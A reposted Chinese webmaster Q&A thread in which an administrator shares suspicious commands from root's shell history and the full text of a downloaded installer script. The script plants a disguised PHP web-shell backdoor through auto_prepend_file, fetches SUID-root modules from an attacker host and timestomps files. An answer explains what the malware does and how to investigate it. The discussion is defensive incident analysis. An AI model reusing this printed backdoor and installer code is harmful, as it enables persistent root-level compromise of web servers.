加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 综合聚焦 > 服务器 > Linux > 正文

linux – root的.bash_history中奇怪的shell命令集

发布时间:2020-12-13 17:05:56 所属栏目:Linux 来源:网络整理
导读:我可能刚刚检测到我的服务器上的用户已根植我的服务器,但这不是我要求的. 有没有人见过这样的命令: echo _EoT_0.249348813417008_;id;echo _EoT_0.12781402577841_;echo $PATH a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` export PATH=$a ec
我可能刚刚检测到我的服务器上的用户已根植我的服务器,但这不是我要求的.

有没有人见过这样的命令:

echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export    PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;

在我看来,这是一个自动脚本的工作,但我不确定是哪一个.

有人对此有所了解吗?

操作系统是Debian Lenny,内核2.6.30-bpo.2-686-bigmem(如果这很重要).

顺便说一句,上面代码中的链接被屏蔽,任何想要下载代码的人,我已经制作了副本,进行分析,所以我可以根据要求提供它.

编辑:我附上.sh脚本的内容,作为参考,如果有人感兴趣的话.

#!/bin/sh
PHP=`which php`
PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'`

if [ -z $PHP_INCLUDE_PATH ]
then
    PHP_INCLUDE_PATH="/usr/share/php"
    mkdir -p $PHP_INCLUDE_PATH
fi

GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so"
GETROOT_32_URL="http://178.xxx.xxx.181/32"

GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so"
GETROOT_64_URL="http://178.xxx.xxx.181/64"

PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php"
PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's///\//g'`;

for file in `find / -type f -name 'php.ini'`
do
    APPEND=`egrep -v '^;' $file | grep auto_prepend_file`
    OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir`

    echo "[*] opendir:$OPENBASEDIR"

    if [ ! -z "$APPEND" ]
    then
        APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'`
        APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'`

        echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
        echo "[~] need to replace auto append file"

        if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's///\//g'`;fi

        sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1
    else
        echo "[~] need to add auto_append_file"

        cp $file 1
        echo "auto_prepend_file = $PHP_FILE_PATH" >> 1
    fi

    touch -r $file 1
    mv 1 $file
done

echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi

cat >$PHP_FILE_PATH<<EOF
<?php
/**
* SUHOSIN,the PHP Extension and Application Repository
*
* SUHOSIN security patch
*
* PHP versions 4 and 5
*
* @category   pear
* @package    Suhosin patch
* @author     Sterling Hughes <sterling@php.net>
* @author     Stig Bakken <ssb@php.net>
* @author     Tomas V.V.Cox <cox@idecnet.com>
* @author     Greg Beaver <cellog@php.net>
* @copyright  1997-2010 The Authors
* @license    http://opensource.org/licenses/bsd-license.php New BSD License
* @version    CVS: $Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz $
* @link       http://pear.php.net/package/PEAR
* @since      File available since Release 0.1
*/

function suhosin_unxor($data,$len,$key)
{
    for($i=0;$i<$len;$i++)
    {
        $data[$i]=chr(($key+$i)^ord($data[$i]));
    }

    return $data;
}

if(isset($_SERVER['REQUEST_URI']))
{
    if(isset($_POST['suhosinkey']) && isset($_POST['suhosinaction']))
    {
        if($_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd')
        {
        if(isset($_POST['suhosindata']) && isset($_POST['suhosincrc'])
            && crc32($_POST['suhosindata'])==$_POST['suhosincrc'])
            {
                $data=base64_decode($_POST['suhosindata']);
                $data=suhosin_unxor($data,strlen($data),ord('W'));

                if($_POST['suhosinaction']=="update")
                {
                    print "SUHOSIN OKn".file_put_contents(__FILE__,$data);
                }
                else if($_POST['suhosinaction']=="command")
                {
                    system($data);
                    print("SUHOSIN CMDn");
                }
            }
        }
    }
}
?>
EOF

chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH

echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"

WGET=`which wget`
CHOWN=`which chown`

`$WGET $GETROOT_32_URL -O $GETROOT_32`
`$CHOWN root $GETROOT_32`
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32

`$WGET $GETROOT_64_URL -O $GETROOT_64`
`$CHOWN root $GETROOT_64`
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64

ls -la $GETROOT_32 $GETROOT_64

echo "[!] restarting ctls"
for ctl in ` ls  {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"`
do
    echo "[*] restarting $ctl"
    `$ctl restart`
done
rm $0

有趣.

解决方法

确实很有意思.

我以前从未见过这个东西,但是看看suhosin14.sh脚本,它是邪恶的.它修改了它可以在系统上找到的所有php.ini文件,希望能够让PHP在运行的每个PHP网页中动态地预先添加一些代码(通过auto_prepend_file). suhosin14.sh还下载并安装了一对SUID-root模块,大概是为了让它的前置PHP代码以root权限运行.

前面的PHP脚本(suhosin.php)包含一个注释标题,使其声称是PHP的Suhosin安全补丁的一部分,但肯定不是.相反,该脚本会监视包含XOR混淆命令的特定HTTP POST请求,然后对其进行反混淆和运行(可能具有root权限,这要归功于SUID根模块).

如果这个东西在你的系统上运行,那么很可能已经扎根了.撤消suhosin14.sh安装程序所做的事情[具体来说:删除PHP前置脚本suhosin.php,删除SUID根模块suhosin32.so和suhosin64.so,并恢复原来的php.ini文件]可能不足以确保安全,因为有人必须首先获得root访问权才能成功运行安装程序.此外,通过PHP前置脚本远程发送的后续命令可以轻松安装任意数量的rootkit或其他后门.

除了可能检查你的Apache日志以查看通常不应该获得POST请求的页面的POST请求之外,我没有其他建议:这些可能是发送到您系统的远程命令的实例.不幸的是,日志不会告诉你执行了哪些命令,但是你可能会得到一些其他有用的信息,比如IP地址和时间戳.

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读